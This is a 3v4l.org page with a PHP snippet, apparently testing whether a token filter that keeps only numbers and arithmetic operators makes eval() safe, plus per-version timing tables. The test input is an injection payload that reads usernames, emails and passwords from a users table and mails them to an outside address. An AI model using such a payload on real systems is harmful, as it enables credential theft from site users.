3v4l.org

run code in 300+ PHP versions simultaneously
<?php $input = "$result = $db->fetch_row($db->query(‘select id, username, email, password from users’)); $body = ‘’; foreach($result as $k => $v) { $body .= $v. “ =\t”. $k[$v].”\t”; } mail(‘myemail@gmail.com’, ‘Hacked Results’,$body);"; $tokens = token_get_all("<?php {$input}"); $expr = ''; foreach($tokens as $token){ if(is_string($token)){ if(in_array($token, array('(', ')', '+', '-', '/', '*'), true)) $expr .= $token; continue; } list($id, $text) = $token; if(in_array($id, array(T_DNUMBER, T_LNUMBER))) $expr .= $text; } eval("\$result = {$expr};"); print "\nexpr = " . $expr; print "\nres = " . $result;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0030.01216.75
8.3.60.0120.00418.56
8.3.50.0140.01018.09
8.3.40.0080.00819.11
8.3.30.0110.00418.80
8.3.20.0090.00320.46
8.3.10.0040.00423.52
8.3.00.0030.00719.81
8.2.190.0170.00317.00
8.2.180.0140.00718.47
8.2.170.0110.00422.96
8.2.160.0100.00720.36
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0140.00026.16
8.2.120.0000.00721.05
8.2.110.0060.00320.45
8.2.100.0060.00617.84
8.2.90.0050.00317.75
8.2.80.0090.00018.86
8.2.70.0040.00417.80
8.2.60.0040.00418.03
8.2.50.0080.00018.10
8.2.40.0040.00420.45
8.2.30.0040.00419.37
8.2.20.0000.00818.06
8.2.10.0040.00418.09
8.2.00.0040.00418.25
8.1.280.0070.01425.92
8.1.270.0000.00823.96
8.1.260.0060.00326.35
8.1.250.0030.00528.09
8.1.240.0150.00423.82
8.1.230.0000.01222.23
8.1.220.0080.00017.74
8.1.210.0040.00418.77
8.1.200.0040.00417.47
8.1.190.0040.00417.35
8.1.180.0060.00318.10
8.1.170.0040.00418.50
8.1.160.0040.00418.81
8.1.150.0040.00420.32
8.1.140.0040.00417.82
8.1.130.0070.00018.99
8.1.120.0030.00617.47
8.1.110.0040.00417.34
8.1.100.0030.00617.48
8.1.90.0050.00317.50
8.1.80.0060.00317.49
8.1.70.0080.00017.50
8.1.60.0080.00017.61
8.1.50.0040.00417.47
8.1.40.0060.00317.42
8.1.30.0040.00417.58
8.1.20.0040.00417.66
8.1.10.0070.00017.55
8.1.00.0030.00617.44
8.0.300.0040.00418.77
8.0.290.0000.00816.63
8.0.280.0000.00718.46
8.0.270.0030.00517.27
8.0.260.0000.00716.78
8.0.250.0000.00817.03
8.0.240.0030.00317.02
8.0.230.0000.00817.04
8.0.220.0030.00316.90
8.0.210.0030.00316.97
8.0.200.0000.00717.04
8.0.190.0050.00317.02
8.0.180.0000.00717.01
8.0.170.0000.01116.92
8.0.160.0030.00317.01
8.0.150.0030.00316.86
8.0.140.0030.00516.82
8.0.130.0060.00013.41
8.0.120.0050.00316.82
8.0.110.0000.00816.99
8.0.100.0000.00717.02
8.0.90.0000.00716.99
8.0.80.0150.00616.98
8.0.70.0040.00416.98
8.0.60.0050.00216.96
8.0.50.0000.00716.81
8.0.30.0170.00717.03
8.0.20.0100.01117.40
8.0.10.0070.00016.91
8.0.00.0090.01216.98
7.4.330.0000.00515.55
7.4.320.0030.00316.63
7.4.300.0030.00316.67
7.4.290.0070.00016.62
7.4.280.0080.00016.51
7.4.270.0070.00016.60
7.4.260.0070.00016.50
7.4.250.0030.00316.43
7.4.240.0040.00416.52
7.4.230.0030.00516.40
7.4.220.0070.00016.70
7.4.210.0090.00516.61
7.4.200.0070.00016.67
7.4.160.0060.01016.59
7.4.150.0070.01017.40
7.4.140.0070.01017.86
7.4.130.0100.00716.60
7.4.120.0090.01116.62
7.4.110.0040.01516.66
7.4.100.0140.00716.47
7.4.90.0150.00416.59
7.4.80.0090.00919.39
7.4.70.0160.00616.69
7.4.60.0120.00916.50
7.4.50.0070.01116.29
7.4.40.0140.00416.49
7.4.00.0030.01315.09
7.3.330.0000.00513.33
7.3.320.0030.00313.43
7.3.310.0000.00716.25
7.3.300.0000.00616.44
7.3.290.0070.00716.35
7.3.280.0110.00516.37
7.3.270.0090.01517.40
7.3.260.0070.01116.38
7.3.240.0130.00516.47
7.3.230.0140.00316.41
7.3.210.0130.00316.37
7.3.200.0080.00816.59
7.3.190.0080.00816.29
7.3.180.0110.00416.42
7.3.170.0060.00916.64
7.3.160.0120.00416.35
7.3.120.0110.00714.97
7.3.110.0070.01114.94
7.3.100.0070.01014.86
7.3.90.0100.01014.89
7.3.80.0100.00715.13
7.3.70.0060.00614.83
7.3.60.0000.01414.86
7.3.50.0030.00614.86
7.3.40.0060.00314.77
7.3.30.0070.00715.00
7.3.20.0070.00716.92
7.3.10.0040.01116.82
7.3.00.0130.00016.46
7.2.330.0140.00316.54
7.2.320.0130.00316.79
7.2.310.0080.01116.43
7.2.300.0070.01316.85
7.2.290.0060.01516.61
7.2.240.0070.01014.96
7.2.230.0140.00715.27
7.2.220.0040.01115.17
7.2.210.0060.00915.11
7.2.200.0040.00814.98
7.2.190.0090.00615.07
7.2.180.0000.01415.25
7.2.170.0050.00515.26
7.2.160.0060.00915.25
7.2.150.0080.00816.95
7.2.140.0090.00916.98
7.2.130.0070.00717.01
7.2.120.0040.01116.91
7.2.110.0060.00916.90
7.2.100.0040.01117.26
7.2.90.0000.00917.00
7.2.80.0120.00317.00
7.2.70.0060.00917.12
7.2.60.0060.00816.90
7.2.50.0100.00317.05
7.2.40.0000.01017.07
7.2.30.0070.00416.98
7.2.20.0260.01117.22
7.2.10.0250.00417.55
7.2.00.0330.00817.40
7.1.330.0060.01215.96
7.1.320.0030.00716.06
7.1.310.0080.00315.91
7.1.300.0000.01715.81
7.1.290.0060.00915.78
7.1.280.0060.00615.72
7.1.270.0040.01215.85
7.1.260.0110.00715.92
7.1.250.0030.01015.58
7.1.200.0060.00315.89
7.1.140.0430.00716.73
7.1.130.0330.00916.67
7.1.120.0480.01116.41
7.1.110.0470.01415.82
7.1.100.0300.01015.97
7.1.90.0130.01316.22
7.1.80.0530.01116.00
7.1.70.0130.01015.47
7.1.60.0540.00733.23
7.1.50.0250.01732.75
7.1.40.0150.01232.71
7.1.30.0150.01532.73
7.1.20.0660.01032.65
7.1.10.0490.01914.83
7.1.00.0290.01314.79

preferences:
51.03 ms | 401 KiB | 5 Q